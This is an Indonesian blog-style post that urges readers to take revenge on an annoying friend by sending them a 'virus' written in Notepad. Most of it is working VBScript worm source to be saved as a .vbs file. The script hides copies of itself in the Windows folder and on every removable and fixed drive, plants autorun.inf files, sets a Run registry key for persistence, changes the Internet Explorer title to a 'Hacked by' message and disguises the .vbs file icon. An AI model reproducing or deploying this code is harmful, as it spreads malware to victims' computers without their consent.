BIkin Jebakan Batman Dengan Notepad

Pernah Kita kesel ama temen kita atau dendam karena sipatnya yang usil dan berencana untuk membalasnya atau sekedar membuatnya "ELING".... *_*

saya mempunyai beberapa cara untuk mewujudkan itu semua...he..he... 3:)
yaitu dengan membuat virus dengan notepad lalu agan kirim ke komputer korban dan mambuatnya menyesal dan bertaubat kembali kepada jalan yang benar....


silahkan agan copas scrift berikut dan save dengan format vbs..   Conto: Hamil.vbs 


on error resume next 
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd 
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs" 
set fs = createobject("Scripting.FileSystemObject") 
set mf = fs.getfile(Wscript.ScriptFullname) 
dim text,size 
size = mf.size 
check = mf.drive.drivetype 
set text=mf.openastextstream(1,-2) 
do while not text.atendofstream 
mysource=mysource&text.readline 
mysource=mysource & vbcrlf 
loop 
do 
Set winpath = fs.getspecialfolder(0) 
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs") 
tf.attributes = 32 
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true) 
tf.write mysource 
tf.close 
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs") 
tf.attributes = 39 
for each flashdrive in fs.drives 
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then 
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs") 
tf.attributes =32 
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true) 
tf.write mysource 
tf.close 
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs") 
tf.attributes =39 
set tf =fs.getfile(flashdrive.path &"\autorun.inf") 
tf.attributes = 32 
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true) 
tf.write atr 
tf.close 
set tf =fs.getfile(flashdrive.path &"\autorun.inf") 
tf.attributes=39 
end if 
next 
set rg = createobject("WScript.Shell") 
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Andre Susanto" 
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2" 
if check <> 1 then 
Wscript.sleep 200000 
end if 
loop while check<>1 
set sd = createobject("Wscript.shell") 
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname    


silahkan coba and makasih,,,,,,,,